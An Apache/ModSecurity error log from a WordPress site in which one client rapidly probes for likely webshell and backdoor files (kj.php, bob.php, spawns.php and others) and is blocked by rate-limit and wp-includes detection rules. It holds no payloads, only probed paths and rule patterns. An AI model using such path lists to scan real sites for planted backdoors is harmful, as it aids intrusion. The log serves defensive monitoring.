[Wed May 13 10:43:41.036892 2026] [:error] [pid 23887:tid 23909] [client 20.48.166.247:22309] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "agPlXdSKmvZJZkXBFDBF3gAAAM4"]
[Wed May 13 10:43:41.464486 2026] [:error] [pid 23887:tid 23898] [client 20.48.166.247:22238] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "agPlXdSKmvZJZkXBFDBF4AAAAMM"]
[Wed May 13 10:43:41.909418 2026] [:error] [pid 23887:tid 23911] [client 20.48.166.247:22385] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wordpress/wp-admin/maint/"] [unique_id "agPlXdSKmvZJZkXBFDBF4QAAANA"]
[Wed May 13 10:43:42.575215 2026] [:error] [pid 23887:tid 23915] [client 20.48.166.247:22333] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agPlXtSKmvZJZkXBFDBF5AAAANQ"]
[Wed May 13 10:43:43.288581 2026] [:error] [pid 23887:tid 23896] [client 20.48.166.247:22377] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agPlX9SKmvZJZkXBFDBF5QAAAME"]
[Wed May 13 10:43:44.113752 2026] [:error] [pid 23782:tid 23843] [client 20.48.166.247:22362] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agPlYCBrKFYHXUGnR-qekwAAAFY"]
[Wed May 13 10:43:44.719446 2026] [:error] [pid 23782:tid 23825] [client 20.48.166.247:22273] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-block.php"] [unique_id "agPlYCBrKFYHXUGnR-qelwAAAEQ"]
[Wed May 13 10:43:45.312532 2026] [:error] [pid 23782:tid 23829] [client 20.48.166.247:22376] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/like.php"] [unique_id "agPlYSBrKFYHXUGnR-qemwAAAEg"]
[Wed May 13 10:43:46.052541 2026] [:error] [pid 23782:tid 23837] [client 20.48.166.247:22174] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/like.php"] [unique_id "agPlYiBrKFYHXUGnR-qenQAAAFA"]
[Wed May 13 10:43:46.571171 2026] [:error] [pid 23887:tid 23909] [client 20.48.166.247:22351] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/like.php"] [unique_id "agPlYtSKmvZJZkXBFDBF6AAAAM4"]
[Wed May 13 10:43:47.040411 2026] [:error] [pid 23887:tid 23898] [client 20.48.166.247:22372] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/like.php"] [unique_id "agPlY9SKmvZJZkXBFDBF6gAAAMM"]
[Wed May 13 10:43:47.534489 2026] [:error] [pid 23887:tid 23912] [client 20.48.166.247:22370] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "agPlY9SKmvZJZkXBFDBF7AAAANE"]
[Wed May 13 10:43:48.156764 2026] [:error] [pid 23887:tid 23918] [client 20.48.166.247:22300] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "agPlZNSKmvZJZkXBFDBF7wAAANc"]
[Wed May 13 10:43:48.704263 2026] [:error] [pid 3259:tid 3266] [client 20.48.166.247:22366] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "agPlZOWJB4YwcPVLeArEyAAAAQU"]
[Wed May 13 10:43:49.457424 2026] [:error] [pid 23887:tid 23909] [client 20.48.166.247:22277] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/kj.php"] [unique_id "agPlZdSKmvZJZkXBFDBF9QAAAM4"]
[Wed May 13 10:43:50.021332 2026] [:error] [pid 23887:tid 23907] [client 20.48.166.247:22328] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/about.php"] [unique_id "agPlZtSKmvZJZkXBFDBF-AAAAMw"]
[Wed May 13 10:43:50.642753 2026] [:error] [pid 23887:tid 23905] [client 20.48.166.247:22304] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/about.php"] [unique_id "agPlZtSKmvZJZkXBFDBF_AAAAMo"]
[Wed May 13 10:43:51.227965 2026] [:error] [pid 23887:tid 23907] [client 20.48.166.247:22315] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/about.php"] [unique_id "agPlZ9SKmvZJZkXBFDBF_gAAAMw"]
[Wed May 13 10:43:51.784479 2026] [:error] [pid 23887:tid 23898] [client 20.48.166.247:22280] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/about.php"] [unique_id "agPlZ9SKmvZJZkXBFDBGAwAAAMM"]
[Wed May 13 10:43:52.414043 2026] [:error] [pid 23887:tid 23911] [client 20.48.166.247:22276] [client 20.48.166.247] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/about.php"] [unique_id "agPlaNSKmvZJZkXBFDBGDwAAANA"]
[Wed May 13 10:43:53.183839 2026] [:error] [pid 23887:tid 23907] [client 20.48.166.247:22313] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxml.php"] [unique_id "agPladSKmvZJZkXBFDBGEQAAAMw"]
[Wed May 13 10:43:54.102536 2026] [:error] [pid 23887:tid 23911] [client 20.48.166.247:22212] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxml.php"] [unique_id "agPlatSKmvZJZkXBFDBGEgAAANA"]
[Wed May 13 10:43:54.940343 2026] [:error] [pid 23780:tid 23805] [client 20.48.166.247:22382] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpxml.php"] [unique_id "agPlanXgOibPjrXgeTBd4wAAAAs"]
[Wed May 13 10:43:55.571873 2026] [:error] [pid 23887:tid 23911] [client 20.48.166.247:22221] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "agPla9SKmvZJZkXBFDBGHAAAANA"]
[Wed May 13 10:43:56.292947 2026] [:error] [pid 23887:tid 23910] [client 20.48.166.247:22209] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "agPlbNSKmvZJZkXBFDBGIQAAAM8"]
[Wed May 13 10:43:56.938144 2026] [:error] [pid 23887:tid 23914] [client 20.48.166.247:22225] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "agPlbNSKmvZJZkXBFDBGJAAAANM"]
[Wed May 13 10:43:57.566363 2026] [:error] [pid 23787:tid 23855] [client 20.48.166.247:22325] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bob.php"] [unique_id "agPlbR1cs5wE7VT6wirO7AAAAIc"]
[Wed May 13 10:43:58.100280 2026] [:error] [pid 23887:tid 23895] [client 20.48.166.247:22316] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "agPlbtSKmvZJZkXBFDBGKAAAAMA"]
[Wed May 13 10:43:58.572686 2026] [:error] [pid 23780:tid 23796] [client 20.48.166.247:22356] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "agPlbnXgOibPjrXgeTBd5gAAAAI"]
[Wed May 13 10:43:59.065054 2026] [:error] [pid 3259:tid 3276] [client 20.48.166.247:22208] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "agPlb-WJB4YwcPVLeArE1AAAAQ8"]
[Wed May 13 10:43:59.597271 2026] [:error] [pid 23780:tid 23804] [client 20.48.166.247:22251] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/spawns.php"] [unique_id "agPlb3XgOibPjrXgeTBd6AAAAAo"]
[Wed May 13 10:44:00.103338 2026] [:error] [pid 3259:tid 3281] [client 20.48.166.247:22255] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "agPlcOWJB4YwcPVLeArE1QAAARQ"]
[Wed May 13 10:44:00.650163 2026] [:error] [pid 23782:tid 23836] [client 20.48.166.247:22341] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "agPlcCBrKFYHXUGnR-qetgAAAE8"]
[Wed May 13 10:44:01.188702 2026] [:error] [pid 23782:tid 23843] [client 20.48.166.247:22287] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "agPlcSBrKFYHXUGnR-qetwAAAFY"]
[Wed May 13 10:44:01.664363 2026] [:error] [pid 3259:tid 3264] [client 20.48.166.247:22349] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/t3s.php"] [unique_id "agPlceWJB4YwcPVLeArE1wAAAQM"]
[Wed May 13 10:44:02.232127 2026] [:error] [pid 3259:tid 3261] [client 20.48.166.247:22216] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "agPlcuWJB4YwcPVLeArE2QAAAQA"]
[Wed May 13 10:44:02.800935 2026] [:error] [pid 23782:tid 23841] [client 20.48.166.247:22290] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "agPlciBrKFYHXUGnR-qeuQAAAFQ"]
[Wed May 13 10:44:03.459723 2026] [:error] [pid 23780:tid 23795] [client 20.48.166.247:22357] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "agPlc3XgOibPjrXgeTBd6wAAAAE"]
[Wed May 13 10:44:04.227363 2026] [:error] [pid 23787:tid 23859] [client 20.48.166.247:22306] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/"] [unique_id "agPldB1cs5wE7VT6wirO7gAAAIs"]
[Wed May 13 10:44:04.741793 2026] [:error] [pid 23780:tid 23812] [client 20.48.166.247:22284] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "agPldHXgOibPjrXgeTBd7AAAABI"]
[Wed May 13 10:44:05.300889 2026] [:error] [pid 23787:tid 23862] [client 20.48.166.247:22211] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "agPldR1cs5wE7VT6wirO8QAAAI4"]
[Wed May 13 10:44:05.868731 2026] [:error] [pid 3259:tid 3270] [client 20.48.166.247:22239] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "agPldeWJB4YwcPVLeArE3gAAAQk"]
[Wed May 13 10:44:06.419641 2026] [:error] [pid 23787:tid 23869] [client 20.48.166.247:22288] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x/"] [unique_id "agPldh1cs5wE7VT6wirO8gAAAJU"]
[Wed May 13 10:44:06.983855 2026] [:error] [pid 23787:tid 23851] [client 20.48.166.247:22335] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agPldh1cs5wE7VT6wirO9AAAAIM"]
[Wed May 13 10:44:07.475318 2026] [:error] [pid 23787:tid 23863] [client 20.48.166.247:22381] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agPldx1cs5wE7VT6wirO9QAAAI8"]
[Wed May 13 10:44:08.072507 2026] [:error] [pid 3259:tid 3264] [client 20.48.166.247:22218] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agPleOWJB4YwcPVLeArE5AAAAQM"]
[Wed May 13 10:44:08.866523 2026] [:error] [pid 3259:tid 3263] [client 20.48.166.247:22264] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/modern/"] [unique_id "agPleOWJB4YwcPVLeArE5QAAAQI"]
[Wed May 13 10:44:09.618716 2026] [:error] [pid 23887:tid 23897] [client 20.48.166.247:22270] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/js/"] [unique_id "agPledSKmvZJZkXBFDBGNgAAAMI"]
[Wed May 13 10:44:10.109159 2026] [autoindex:error] [pid 23787:tid 23848] [client 20.48.166.247:22285] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 13 10:44:21.714750 2026] [autoindex:error] [pid 23787:tid 23870] [client 20.48.166.247:22285] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/details/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 13 10:44:23.997513 2026] [autoindex:error] [pid 23787:tid 23860] [client 20.48.166.247:22285] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-includes/blocks/audio/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed May 13 10:44:25.375065 2026] [:error] [pid 23787:tid 23855] [client 20.48.166.247:22285] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agPliR1cs5wE7VT6wirPDwAAAIc"]
[Wed May 13 10:44:25.829529 2026] [:error] [pid 23782:tid 23833] [client 20.48.166.247:22354] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agPliSBrKFYHXUGnR-qeyQAAAEw"]
[Wed May 13 10:44:26.301378 2026] [:error] [pid 23887:tid 23895] [client 20.48.166.247:22317] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agPlitSKmvZJZkXBFDBGRQAAAMA"]
[Wed May 13 10:44:26.774915 2026] [:error] [pid 3259:tid 3270] [client 20.48.166.247:22314] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agPliuWJB4YwcPVLeArE8QAAAQk"]
[Wed May 13 10:44:27.238311 2026] [:error] [pid 3259:tid 3276] [client 20.48.166.247:22339] [client 20.48.166.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sl.php"] [unique_id "agPli-WJB4YwcPVLeArE8gAAAQ8"]
